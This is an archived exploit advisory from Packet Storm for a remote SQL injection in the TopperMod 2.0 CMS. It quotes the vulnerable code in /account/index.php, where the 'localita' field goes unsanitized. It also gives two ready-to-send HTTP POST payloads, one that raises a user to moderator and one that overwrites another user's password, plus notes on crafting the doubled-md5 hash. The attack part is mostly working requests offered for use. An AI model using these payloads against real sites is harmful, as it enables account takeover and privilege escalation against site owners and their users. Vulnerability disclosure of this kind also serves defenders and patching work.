what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

toppermod20-sql.txt

toppermod20-sql.txt
Posted Mar 26, 2008
Authored by __GiReX__ | Site girex.altervista.org

TopperMod version 2.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 4447ba6f9fa6b1701f4efb29ee316315e83b39a003061d622de00e5aeeedbf8b

toppermod20-sql.txt

Change Mirror Download
# Author:  __GiReX__
# mySite: girex.altervista.org

# CMS: TopperMod v2.0
# Site: rtcw.ch/mio/index.php

# Bug: SQL Injection

# Type: 1 - Priviledge Escalation (from user to mod)
2 - Remote user password change

# File: /account/index.php
# Var : $localita

# Need: magic_quotes_gpc = Off
You must be logged in


# Vuln Code: /account/index.php:

case "edituser_save":
...


$localita=$_POST['localita'];
...

if ($localita!="") {
if (eregi("^[a-zA-Z0-9]",$localita)) {
$localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
}
}

# And if our $_POST['localita'] does not begin with a char or a number?
# Input not sanizated

...
$res=dbquery("UPDATE ".PREFISSO."_utenti SET email='$email', localita='$localita', sito='$sito',
tema='$tema_user', time_zone='$time_zone' $pass
WHERE user_id='$user_id' ");

# Vulnerable query :D



# PoC 1:

POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...

email=someone@somewhere.dot&localita=@', permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]

# PoC 2:

POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...

email=someone@somewhere.dot&localita=@', password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]



# Note: [PASSWORD] must be the md5 of the md5 of the wanted password, you must forget in the content the end quote
# We can also try to get admin hash trought sql subqueries but the password is crypted into md5 2 times
# and Admins don't use cookies in this CMS...

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    19 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close